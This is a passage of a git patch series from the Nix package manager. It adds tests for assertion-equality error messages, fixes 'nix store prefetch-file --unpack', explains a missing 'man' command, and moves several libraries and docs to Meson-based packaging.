/pwd/lang/eval-fail-assert-equal-ints.nix:1:10: + 1| assert { b = 1; } == { b = 2; }; + | ^ + 2| abort "unreachable" + + … where right hand side is + at /pwd/lang/eval-fail-assert-equal-ints.nix:1:24: + 1| assert { b = 1; } == { b = 2; }; + | ^ + 2| abort "unreachable" + + error: an integer with value '1' is not equal to an integer with value '2' diff --git a/tests/functional/lang/eval-fail-assert-equal-ints.nix b/tests/functional/lang/eval-fail-assert-equal-ints.nix new file mode 100644 index 000000000..645258ea6 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-ints.nix @@ -0,0 +1,2 @@ +assert { b = 1; } == { b = 2; }; +abort "unreachable" diff --git a/tests/functional/lang/eval-fail-assert-equal-list-length.err.exp b/tests/functional/lang/eval-fail-assert-equal-list-length.err.exp new file mode 100644 index 000000000..90108552c --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-list-length.err.exp @@ -0,0 +1,8 @@ +error: + … while evaluating the condition of the assertion '([ (1) (0) ] == [ (10) ])' + at /pwd/lang/eval-fail-assert-equal-list-length.nix:1:1: + 1| assert [ 1 0 ] == [ 10 ]; + | ^ + 2| throw "unreachable" + + error: list of size '2' is not equal to list of size '1', left hand side is '[ 1 0 ]', right hand side is '[ 10 ]' diff --git a/tests/functional/lang/eval-fail-assert-equal-list-length.nix b/tests/functional/lang/eval-fail-assert-equal-list-length.nix new file mode 100644 index 000000000..6d40f4d8e --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-list-length.nix @@ -0,0 +1,2 @@ +assert [ 1 0 ] == [ 10 ]; +throw "unreachable" \ No newline at end of file diff --git a/tests/functional/lang/eval-fail-assert-equal-paths.err.exp b/tests/functional/lang/eval-fail-assert-equal-paths.err.exp new file mode 100644 index 000000000..66c34e971 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-paths.err.exp @@ -0,0 +1,8 @@ +error: + … while evaluating the condition of the assertion '(/pwd/lang/foo == /pwd/lang/bar)' + at /pwd/lang/eval-fail-assert-equal-paths.nix:1:1: + 1| assert ./foo == ./bar; + | ^ + 2| throw "unreachable" + + error: path '/pwd/lang/foo' is not equal to path '/pwd/lang/bar' diff --git a/tests/functional/lang/eval-fail-assert-equal-paths.nix b/tests/functional/lang/eval-fail-assert-equal-paths.nix new file mode 100644 index 000000000..ef0b67024 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-paths.nix @@ -0,0 +1,2 @@ +assert ./foo == ./bar; +throw "unreachable" \ No newline at end of file diff --git a/tests/functional/lang/eval-fail-assert-equal-type-nested.err.exp b/tests/functional/lang/eval-fail-assert-equal-type-nested.err.exp new file mode 100644 index 000000000..f78badd25 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-type-nested.err.exp @@ -0,0 +1,22 @@ +error: + … while evaluating the condition of the assertion '({ ding = false; } == { ding = null; })' + at /pwd/lang/eval-fail-assert-equal-type-nested.nix:1:1: + 1| assert { ding = false; } == { ding = null; }; + | ^ + 2| abort "unreachable" + + … while comparing attribute 'ding' + + … where left hand side is + at /pwd/lang/eval-fail-assert-equal-type-nested.nix:1:10: + 1| assert { ding = false; } == { ding = null; }; + | ^ + 2| abort "unreachable" + + … where right hand side is + at /pwd/lang/eval-fail-assert-equal-type-nested.nix:1:31: + 1| assert { ding = false; } == { ding = null; }; + | ^ + 2| abort "unreachable" + + error: a Boolean of value 'false' is not equal to null of value 'null' diff --git a/tests/functional/lang/eval-fail-assert-equal-type-nested.nix b/tests/functional/lang/eval-fail-assert-equal-type-nested.nix new file mode 100644 index 000000000..3fbd14ce6 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-type-nested.nix @@ -0,0 +1,2 @@ +assert { ding = false; } == { ding = null; }; +abort "unreachable" diff --git a/tests/functional/lang/eval-fail-assert-equal-type.err.exp b/tests/functional/lang/eval-fail-assert-equal-type.err.exp new file mode 100644 index 000000000..4dc3f2ece --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-type.err.exp @@ -0,0 +1,8 @@ +error: + … while evaluating the condition of the assertion '(false == null)' + at /pwd/lang/eval-fail-assert-equal-type.nix:1:1: + 1| assert false == null; + | ^ + 2| abort "unreachable" + + error: a Boolean of value 'false' is not equal to null of value 'null' diff --git a/tests/functional/lang/eval-fail-assert-equal-type.nix b/tests/functional/lang/eval-fail-assert-equal-type.nix new file mode 100644 index 000000000..7023ea007 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-equal-type.nix @@ -0,0 +1,2 @@ +assert false == null; +abort "unreachable" diff --git a/tests/functional/lang/eval-fail-assert-nested-bool.err.exp b/tests/functional/lang/eval-fail-assert-nested-bool.err.exp new file mode 100644 index 000000000..1debb668c --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-nested-bool.err.exp @@ -0,0 +1,74 @@ +error: + … while evaluating the condition of the assertion '({ a = { b = [ ({ c = { d = true; }; }) ]; }; } == { a = { b = [ ({ c = { d = false; }; }) ]; }; })' + at /pwd/lang/eval-fail-assert-nested-bool.nix:1:1: + 1| assert + | ^ + 2| { a.b = [ { c.d = true; } ]; } + + … while comparing attribute 'a' + + … where left hand side is + at /pwd/lang/eval-fail-assert-nested-bool.nix:2:5: + 1| assert + 2| { a.b = [ { c.d = true; } ]; } + | ^ + 3| == + + … where right hand side is + at /pwd/lang/eval-fail-assert-nested-bool.nix:4:5: + 3| == + 4| { a.b = [ { c.d = false; } ]; }; + | ^ + 5| + + … while comparing attribute 'b' + + … where left hand side is + at /pwd/lang/eval-fail-assert-nested-bool.nix:2:5: + 1| assert + 2| { a.b = [ { c.d = true; } ]; } + | ^ + 3| == + + … where right hand side is + at /pwd/lang/eval-fail-assert-nested-bool.nix:4:5: + 3| == + 4| { a.b = [ { c.d = false; } ]; }; + | ^ + 5| + + … while comparing list element 0 + + … while comparing attribute 'c' + + … where left hand side is + at /pwd/lang/eval-fail-assert-nested-bool.nix:2:15: + 1| assert + 2| { a.b = [ { c.d = true; } ]; } + | ^ + 3| == + + … where right hand side is + at /pwd/lang/eval-fail-assert-nested-bool.nix:4:15: + 3| == + 4| { a.b = [ { c.d = false; } ]; }; + | ^ + 5| + + … while comparing attribute 'd' + + … where left hand side is + at /pwd/lang/eval-fail-assert-nested-bool.nix:2:15: + 1| assert + 2| { a.b = [ { c.d = true; } ]; } + | ^ + 3| == + + … where right hand side is + at /pwd/lang/eval-fail-assert-nested-bool.nix:4:15: + 3| == + 4| { a.b = [ { c.d = false; } ]; }; + | ^ + 5| + + error: boolean 'true' is not equal to boolean 'false' diff --git a/tests/functional/lang/eval-fail-assert-nested-bool.nix b/tests/functional/lang/eval-fail-assert-nested-bool.nix new file mode 100644 index 000000000..228576983 --- /dev/null +++ b/tests/functional/lang/eval-fail-assert-nested-bool.nix @@ -0,0 +1,6 @@ +assert + { a.b = [ { c.d = true; } ]; } + == + { a.b = [ { c.d = false; } ]; }; + +abort "unreachable" \ No newline at end of file diff --git a/tests/functional/lang/eval-fail-assert.err.exp b/tests/functional/lang/eval-fail-assert.err.exp index 0656ec81c..7be9e2387 100644 --- a/tests/functional/lang/eval-fail-assert.err.exp +++ b/tests/functional/lang/eval-fail-assert.err.exp @@ -20,9 +20,11 @@ error: | ^ 3| - error: assertion '(arg == "y")' failed - at /pwd/lang/eval-fail-assert.nix:2:12: + … while evaluating the condition of the assertion '(arg == "y")' + at /pwd/lang/eval-fail-assert.nix:2:12: 1| let { 2| x = arg: assert arg == "y"; 123; | ^ 3| + + error: string '"x"' is not equal to string '"y"' From 6ef00a503a62dc5554139804d22968b25ba4bf3f Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Fri, 5 Jul 2024 18:32:34 +0200 Subject: [PATCH 0992/1251] Explain when man is missing Have you seen this man? Fixes #10677 --- src/libmain/shared.cc | 4 ++++ tests/functional/misc.sh | 3 +++ 2 files changed, 7 insertions(+) diff --git a/src/libmain/shared.cc b/src/libmain/shared.cc index c1c936248..fc55fe3f1 100644 --- a/src/libmain/shared.cc +++ b/src/libmain/shared.cc @@ -320,6 +320,10 @@ void showManPage(const std::string & name) restoreProcessContext(); setEnv("MANPATH", settings.nixManDir.c_str()); execlp("man", "man", name.c_str(), nullptr); + if (errno == ENOENT) { + // Not SysError because we don't want to suffix the errno, aka No such file or directory. + throw Error("The '%1%' command was not found, but it is needed for '%2%' and some other '%3%' commands' help text. Perhaps you could install the '%1%' command?", "man", name.c_str(), "nix-*"); + } throw SysError("command 'man %1%' failed", name.c_str()); } diff --git a/tests/functional/misc.sh b/tests/functional/misc.sh index 9eb80ad22..7d63756b7 100755 --- a/tests/functional/misc.sh +++ b/tests/functional/misc.sh @@ -13,6 +13,9 @@ source common.sh # Can we ask for the version number? nix-env --version | grep "$version" +nix_env=$(type -P nix-env) +(PATH=""; ! $nix_env --help 2>&1 ) | grepQuiet -F "The 'man' command was not found, but it is needed for 'nix-env' and some other 'nix-*' commands' help text. Perhaps you could install the 'man' command?" + # Usage errors. expect 1 nix-env --foo 2>&1 | grep "no operation" expect 1 nix-env -q --foo 2>&1 | grep "unknown flag" From 8cea1fbd97903e58b4de780bbf428b981f196e20 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= Date: Fri, 5 Jul 2024 17:26:58 +0200 Subject: [PATCH 0993/1251] src/nix/prefetch: fix prefetch containing current directory instead of tarball When --unpack was used the nix would add the current directory to the nix store instead of the content of unpacked. The reason for this is that std::distance already consumes the iterator. To fix this we re-instantiate the directory iterator in case the directory only contains a single entry. --- src/nix/prefetch.cc | 11 ++++++----- tests/functional/tarball.sh | 12 ++++++++++++ 2 files changed, 18 insertions(+), 5 deletions(-) diff --git a/src/nix/prefetch.cc b/src/nix/prefetch.cc index 5e890f3c8..55b8498ef 100644 --- a/src/nix/prefetch.cc +++ b/src/nix/prefetch.cc @@ -114,14 +114,15 @@ std::tuple prefetchFile( createDirs(unpacked); unpackTarfile(tmpFile.string(), unpacked); + auto entries = std::filesystem::directory_iterator{unpacked}; /* If the archive unpacks to a single file/directory, then use that as the top-level. */ - auto entries = std::filesystem::directory_iterator{unpacked}; - auto file_count = std::distance(entries, std::filesystem::directory_iterator{}); - if (file_count == 1) - tmpFile = entries->path(); - else + tmpFile = entries->path(); + unsigned fileCount = std::distance(entries, std::filesystem::directory_iterator{}); + if (fileCount != 1) { + /* otherwise, use the directory itself */ tmpFile = unpacked; + } } Activity act(*logger, lvlChatty, actUnknown, diff --git a/tests/functional/tarball.sh b/tests/functional/tarball.sh index a2824cd12..f999b7a10 100755 --- a/tests/functional/tarball.sh +++ b/tests/functional/tarball.sh @@ -54,6 +54,18 @@ test_tarball() { # with the content-addressing (! nix-instantiate --eval -E "fetchTree { type = \"tarball\"; url = file://$tarball; narHash = \"$hash\"; name = \"foo\"; }") + store_path=$(nix store prefetch-file --json "file://$tarball" | jq -r .storePath) + if ! cmp -s "$store_path" "$tarball"; then + echo "prefetched tarball differs from original: $store_path vs $tarball" >&2 + exit 1 + fi + store_path2=$(nix store prefetch-file --json --unpack "file://$tarball" | jq -r .storePath) + diff_output=$(diff -r "$store_path2" "$tarroot") + if [ -n "$diff_output" ]; then + echo "prefetched tarball differs from original: $store_path2 vs $tarroot" >&2 + echo "$diff_output" + exit 1 + fi } test_tarball '' cat From 05381c0b3093a0b5e091946ce2f6fa9f02b981ec Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= Date: Fri, 5 Jul 2024 19:45:03 +0200 Subject: [PATCH 0994/1251] Update src/nix/prefetch.cc Co-authored-by: Eelco Dolstra --- src/nix/prefetch.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/nix/prefetch.cc b/src/nix/prefetch.cc index 55b8498ef..c6e60a53b 100644 --- a/src/nix/prefetch.cc +++ b/src/nix/prefetch.cc @@ -118,7 +118,7 @@ std::tuple prefetchFile( /* If the archive unpacks to a single file/directory, then use that as the top-level. */ tmpFile = entries->path(); - unsigned fileCount = std::distance(entries, std::filesystem::directory_iterator{}); + auto fileCount = std::distance(entries, std::filesystem::directory_iterator{}); if (fileCount != 1) { /* otherwise, use the directory itself */ tmpFile = unpacked; From 3acf3fc7465ed2f3e872f290fb9ca39a428b6379 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 3 Jul 2024 14:47:23 -0400 Subject: [PATCH 0995/1251] Package `libnixmain` and `libnixcmd` with Meson Co-authored-by: Robert Hensing --- meson.build | 2 + packaging/components.nix | 4 ++ packaging/hydra.nix | 2 + src/libcmd/.version | 1 + src/libcmd/meson.build | 126 ++++++++++++++++++++++++++++++++++ src/libcmd/meson.options | 15 ++++ src/libcmd/package.nix | 112 ++++++++++++++++++++++++++++++ src/libcmd/repl-interacter.cc | 2 +- src/libcmd/repl.cc | 2 +- src/libmain/.version | 1 + src/libmain/meson.build | 98 ++++++++++++++++++++++++++ src/libmain/package.nix | 78 +++++++++++++++++++++ 12 files changed, 441 insertions(+), 2 deletions(-) create mode 120000 src/libcmd/.version create mode 100644 src/libcmd/meson.build create mode 100644 src/libcmd/meson.options create mode 100644 src/libcmd/package.nix create mode 120000 src/libmain/.version create mode 100644 src/libmain/meson.build create mode 100644 src/libmain/package.nix diff --git a/meson.build b/meson.build index 1690bb50a..356d978dc 100644 --- a/meson.build +++ b/meson.build @@ -11,6 +11,8 @@ subproject('libstore') subproject('libfetchers') subproject('libexpr') subproject('libflake') +subproject('libmain') +subproject('libcmd') # Docs subproject('internal-api-docs') diff --git a/packaging/components.nix b/packaging/components.nix index e9e95c028..f1cd3b9c6 100644 --- a/packaging/components.nix +++ b/packaging/components.nix @@ -28,6 +28,10 @@ in nix-flake = callPackage ../src/libflake/package.nix { }; nix-flake-tests = callPackage ../tests/unit/libflake/package.nix { }; + nix-main = callPackage ../src/libmain/package.nix { }; + + nix-cmd = callPackage ../src/libcmd/package.nix { }; + nix-internal-api-docs = callPackage ../src/internal-api-docs/package.nix { }; nix-external-api-docs = callPackage ../src/external-api-docs/package.nix { }; diff --git a/packaging/hydra.nix b/packaging/hydra.nix index 97f2c59b7..0bbbc31f7 100644 --- a/packaging/hydra.nix +++ b/packaging/hydra.nix @@ -51,6 +51,8 @@ let "nix-expr-tests" "nix-flake" "nix-flake-tests" + "nix-main" + "nix-cmd" ]; in { diff --git a/src/libcmd/.version b/src/libcmd/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libcmd/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/libcmd/meson.build b/src/libcmd/meson.build new file mode 100644 index 000000000..d9a90508a --- /dev/null +++ b/src/libcmd/meson.build @@ -0,0 +1,126 @@ +project('nix-cmd', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +subdir('build-utils-meson/deps-lists') + +configdata = configuration_data() + +deps_private_maybe_subproject = [ +] +deps_public_maybe_subproject = [ + dependency('nix-util'), + dependency('nix-store'), + dependency('nix-fetchers'), + dependency('nix-expr'), + dependency('nix-flake'), + dependency('nix-main'), +] +subdir('build-utils-meson/subprojects') + +nlohmann_json = dependency('nlohmann_json', version : '>= 3.9') +deps_public += nlohmann_json + +lowdown = dependency('lowdown', version : '>= 0.9.0', required : get_option('markdown')) +deps_private += lowdown +configdata.set('HAVE_LOWDOWN', lowdown.found().to_int()) + +readline_flavor = get_option('readline-flavor') +if readline_flavor == 'editline' + editline = dependency('libeditline', 'editline', version : '>=1.14') + deps_private += editline +elif readline_flavor == 'readline' + readline = dependency('readline') + deps_private += readline + configdata.set( + 'USE_READLINE', + 1, + description: 'Use readline instead of editline', + ) +else + error('illegal editline flavor', readline_flavor) +endif + +config_h = configure_file( + configuration : configdata, + output : 'config-cmd.hh', +) + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', + '-include', 'config-store.hh', + # '-include', 'config-fetchers.h', + '-include', 'config-main.hh', + '-include', 'config-cmd.hh', + language : 'cpp', +) + +subdir('build-utils-meson/diagnostics') + +sources = files( + 'built-path.cc', + 'command-installable-value.cc', + 'command.cc', + 'common-eval-args.cc', + 'editor-for.cc', + 'installable-attr-path.cc', + 'installable-derived-path.cc', + 'installable-flake.cc', + 'installable-value.cc', + 'installables.cc', + 'legacy.cc', + 'markdown.cc', + 'misc-store-flags.cc', + 'network-proxy.cc', + 'repl-interacter.cc', + 'repl.cc', +) + +include_dirs = [include_directories('.')] + +headers = [config_h] + files( + 'built-path.hh', + 'command-installable-value.hh', + 'command.hh', + 'common-eval-args.hh', + 'editor-for.hh', + 'installable-attr-path.hh', + 'installable-derived-path.hh', + 'installable-flake.hh', + 'installable-value.hh', + 'installables.hh', + 'legacy.hh', + 'markdown.hh', + 'misc-store-flags.hh', + 'network-proxy.hh', + 'repl-interacter.hh', + 'repl.hh', +) + +this_library = library( + 'nixcmd', + sources, + dependencies : deps_public + deps_private + deps_other, + prelink : true, # For C++ static initializers + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +libraries_private = [] + +subdir('build-utils-meson/export') diff --git a/src/libcmd/meson.options b/src/libcmd/meson.options new file mode 100644 index 000000000..79ae4fa55 --- /dev/null +++ b/src/libcmd/meson.options @@ -0,0 +1,15 @@ +# vim: filetype=meson + +option( + 'markdown', + type: 'feature', + description: 'Enable Markdown rendering in the Nix binary (requires lowdown)', +) + +option( + 'readline-flavor', + type : 'combo', + choices : ['editline', 'readline'], + value : 'editline', + description : 'Which library to use for nice line editing with the Nix language REPL', +) diff --git a/src/libcmd/package.nix b/src/libcmd/package.nix new file mode 100644 index 000000000..5e6381a17 --- /dev/null +++ b/src/libcmd/package.nix @@ -0,0 +1,112 @@ +{ lib +, stdenv +, mkMesonDerivation +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-util +, nix-store +, nix-fetchers +, nix-expr +, nix-flake +, nix-main +, editline +, readline +, lowdown +, nlohmann_json + +# Configuration Options + +, versionSuffix ? "" + +# Whether to enable Markdown rendering in the Nix binary. +, enableMarkdown ? !stdenv.hostPlatform.isWindows + +# Which interactive line editor library to use for Nix's repl. +# +# Currently supported choices are: +# +# - editline (default) +# - readline +, readlineFlavor ? if stdenv.hostPlatform.isWindows then "readline" else "editline" +}: + +let + inherit (lib) fileset; + + version = lib.fileContents ./.version + versionSuffix; +in + +mkMesonDerivation (finalAttrs: { + pname = "nix-cmd"; + inherit version; + + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + buildInputs = [ + ({ inherit editline readline; }.${readlineFlavor}) + ] ++ lib.optional enableMarkdown lowdown; + + propagatedBuildInputs = [ + nix-util + nix-store + nix-fetchers + nix-expr + nix-flake + nix-main + nlohmann_json + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. + '' + chmod u+w ./.version + echo ${version} > ../../.version + ''; + + mesonFlags = [ + (lib.mesonEnable "markdown" enableMarkdown) + (lib.mesonOption "readline-flavor" readlineFlavor) + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + enableParallelBuilding = true; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + # TODO `releaseTools.coverageAnalysis` in Nixpkgs needs to be updated + # to work with `strictDeps`. + strictDeps = true; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +}) diff --git a/src/libcmd/repl-interacter.cc b/src/libcmd/repl-interacter.cc index eb4361e25..420cce1db 100644 --- a/src/libcmd/repl-interacter.cc +++ b/src/libcmd/repl-interacter.cc @@ -18,7 +18,7 @@ extern "C" { #include "finally.hh" #include "repl-interacter.hh" #include "file-system.hh" -#include "libcmd/repl.hh" +#include "repl.hh" namespace nix { diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index 53dd94c7a..ce1c5af69 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -3,7 +3,7 @@ #include #include -#include "libcmd/repl-interacter.hh" +#include "repl-interacter.hh" #include "repl.hh" #include "ansicolor.hh" diff --git a/src/libmain/.version b/src/libmain/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libmain/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/libmain/meson.build b/src/libmain/meson.build new file mode 100644 index 000000000..859ce22f8 --- /dev/null +++ b/src/libmain/meson.build @@ -0,0 +1,98 @@ +project('nix-main', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +subdir('build-utils-meson/deps-lists') + +configdata = configuration_data() + +deps_private_maybe_subproject = [ +] +deps_public_maybe_subproject = [ + dependency('nix-util'), + dependency('nix-store'), +] +subdir('build-utils-meson/subprojects') + + +pubsetbuf_test = ''' +#include + +using namespace std; + +char buf[1024]; + +int main() { + cerr.rdbuf()->pubsetbuf(buf, sizeof(buf)); +} +''' + +configdata.set( + 'HAVE_PUBSETBUF', + cxx.compiles(pubsetbuf_test).to_int(), + description: 'Optionally used for buffering on standard error' +) + +config_h = configure_file( + configuration : configdata, + output : 'config-main.hh', +) + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', + '-include', 'config-store.hh', + '-include', 'config-main.hh', + language : 'cpp', +) + +subdir('build-utils-meson/diagnostics') + +sources = files( + 'common-args.cc', + 'loggers.cc', + 'progress-bar.cc', + 'shared.cc', +) + +if host_machine.system() != 'windows' + sources += files( + 'unix/stack.cc', + ) +endif + +include_dirs = [include_directories('.')] + +headers = [config_h] + files( + 'common-args.hh', + 'loggers.hh', + 'progress-bar.hh', + 'shared.hh', +) + +this_library = library( + 'nixmain', + sources, + dependencies : deps_public + deps_private + deps_other, + prelink : true, # For C++ static initializers + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +libraries_private = [] + +subdir('build-utils-meson/export') diff --git a/src/libmain/package.nix b/src/libmain/package.nix new file mode 100644 index 000000000..8c06fd004 --- /dev/null +++ b/src/libmain/package.nix @@ -0,0 +1,78 @@ +{ lib +, stdenv +, mkMesonDerivation +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-util +, nix-store + +# Configuration Options + +, versionSuffix ? "" +}: + +let + inherit (lib) fileset; + + version = lib.fileContents ./.version + versionSuffix; +in + +mkMesonDerivation (finalAttrs: { + pname = "nix-main"; + inherit version; + + workDir = ./.; + fileset = fileset.unions [ + ../../build-utils-meson + ./build-utils-meson + ../../.version + ./.version + ./meson.build + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + propagatedBuildInputs = [ + nix-util + nix-store + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. + '' + chmod u+w ./.version + echo ${version} > ../../.version + ''; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + enableParallelBuilding = true; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + # TODO `releaseTools.coverageAnalysis` in Nixpkgs needs to be updated + # to work with `strictDeps`. + strictDeps = true; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; + +}) From b7e5446b812f44dbdce19314c84d9384fa51b5e9 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 6 Jul 2024 17:33:06 +0200 Subject: [PATCH 0996/1251] flake.nix: Remove unused binding --- flake.nix | 1 - 1 file changed, 1 deletion(-) diff --git a/flake.nix b/flake.nix index cfea7d386..d83c2ecad 100644 --- a/flake.nix +++ b/flake.nix @@ -25,7 +25,6 @@ let inherit (nixpkgs) lib; - inherit (lib) fileset; officialRelease = false; From 4d0c55ae55c0c36b8f8cf5561b10e35da543de62 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 6 Jul 2024 17:41:05 +0200 Subject: [PATCH 0997/1251] api docs: Use mkMesonDerivation --- src/external-api-docs/package.nix | 46 ++++++++++++++----------------- src/internal-api-docs/package.nix | 36 +++++++++++------------- 2 files changed, 37 insertions(+), 45 deletions(-) diff --git a/src/external-api-docs/package.nix b/src/external-api-docs/package.nix index 352698360..7fd6a988a 100644 --- a/src/external-api-docs/package.nix +++ b/src/external-api-docs/package.nix @@ -1,5 +1,5 @@ { lib -, stdenv +, mkMesonDerivation , meson , ninja @@ -14,27 +14,27 @@ let inherit (lib) fileset; in -stdenv.mkDerivation (finalAttrs: { +mkMesonDerivation (finalAttrs: { pname = "nix-external-api-docs"; version = lib.fileContents ./.version + versionSuffix; - src = fileset.toSource { - root = ../..; - fileset = - let - cpp = fileset.fileFilter (file: file.hasExt "cc" || file.hasExt "h"); - in - fileset.unions [ - ./meson.build - ./doxygen.cfg.in - ./README.md - # Source is not compiled, but still must be available for Doxygen - # to gather comments. - (cpp ../libexpr-c) - (cpp ../libstore-c) - (cpp ../libutil-c) - ]; - }; + workDir = ./.; + fileset = + let + cpp = fileset.fileFilter (file: file.hasExt "cc" || file.hasExt "h"); + in + fileset.unions [ + ./.version + ../../.version + ./meson.build + ./doxygen.cfg.in + ./README.md + # Source is not compiled, but still must be available for Doxygen + # to gather comments. + (cpp ../libexpr-c) + (cpp ../libstore-c) + (cpp ../libutil-c) + ]; nativeBuildInputs = [ meson @@ -42,14 +42,10 @@ stdenv.mkDerivation (finalAttrs: { doxygen ]; - postUnpack = '' - sourceRoot=$sourceRoot/src/external-api-docs - ''; - preConfigure = - # "Inline" .version so it's not a symlink, and includes the suffix '' - echo ${finalAttrs.version} > .version + chmod u+w ./.version + echo ${finalAttrs.version} > ./.version ''; postInstall = '' diff --git a/src/internal-api-docs/package.nix b/src/internal-api-docs/package.nix index 6a3bc0501..44ddb00ab 100644 --- a/src/internal-api-docs/package.nix +++ b/src/internal-api-docs/package.nix @@ -1,5 +1,5 @@ { lib -, stdenv +, mkMesonDerivation , meson , ninja @@ -14,22 +14,22 @@ let inherit (lib) fileset; in -stdenv.mkDerivation (finalAttrs: { +mkMesonDerivation (finalAttrs: { pname = "nix-internal-api-docs"; version = lib.fileContents ./.version + versionSuffix; - src = fileset.toSource { - root = ../..; - fileset = let - cpp = fileset.fileFilter (file: file.hasExt "cc" || file.hasExt "hh"); - in fileset.unions [ - ./meson.build - ./doxygen.cfg.in - # Source is not compiled, but still must be available for Doxygen - # to gather comments. - (cpp ../.) - ]; - }; + workDir = ./.; + fileset = let + cpp = fileset.fileFilter (file: file.hasExt "cc" || file.hasExt "hh"); + in fileset.unions [ + ./.version + ../../.version + ./meson.build + ./doxygen.cfg.in + # Source is not compiled, but still must be available for Doxygen + # to gather comments. + (cpp ../.) + ]; nativeBuildInputs = [ meson @@ -37,14 +37,10 @@ stdenv.mkDerivation (finalAttrs: { doxygen ]; - postUnpack = '' - sourceRoot=$sourceRoot/src/internal-api-docs - ''; - preConfigure = - # "Inline" .version so it's not a symlink, and includes the suffix '' - echo ${finalAttrs.version} > .version + chmod u+w ./.version + echo ${finalAttrs.version} > ./.version ''; postInstall = '' From 4c014e238b9dd9d52c6406b8adfd5bb9b77bb0c2 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 6 Jul 2024 17:43:48 +0200 Subject: [PATCH 0998/1251] nix-main: Add openssl --- src/libmain/package.nix | 3 +++ 1 file changed, 3 insertions(+) diff --git a/src/libmain/package.nix b/src/libmain/package.nix index 8c06fd004..f6c92bac6 100644 --- a/src/libmain/package.nix +++ b/src/libmain/package.nix @@ -7,6 +7,8 @@ , ninja , pkg-config +, openssl + , nix-util , nix-store @@ -47,6 +49,7 @@ mkMesonDerivation (finalAttrs: { propagatedBuildInputs = [ nix-util nix-store + openssl ]; preConfigure = From efd5f50f5e6ef74e1db77101d9d73a3d3ebf3e84 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 6 Jul 2024 17:47:11 +0200 Subject: [PATCH 0999/1251] nix-perl: Add deps, use mkMesonDerivation --- src/perl/package.nix | 34 +++++++++++++++++++++------------- 1 file changed, 21 insertions(+), 13 deletions(-) diff --git a/src/perl/package.nix b/src/perl/package.nix index 6b8487148..08ceaa33e 100644 --- a/src/perl/package.nix +++ b/src/perl/package.nix @@ -1,5 +1,6 @@ { lib , stdenv +, mkMesonDerivation , perl , perlPackages , meson @@ -8,38 +9,44 @@ , nix-store , darwin , versionSuffix ? "" +, curl +, bzip2 +, libsodium }: let inherit (lib) fileset; in -perl.pkgs.toPerlModule (stdenv.mkDerivation (finalAttrs: { +perl.pkgs.toPerlModule 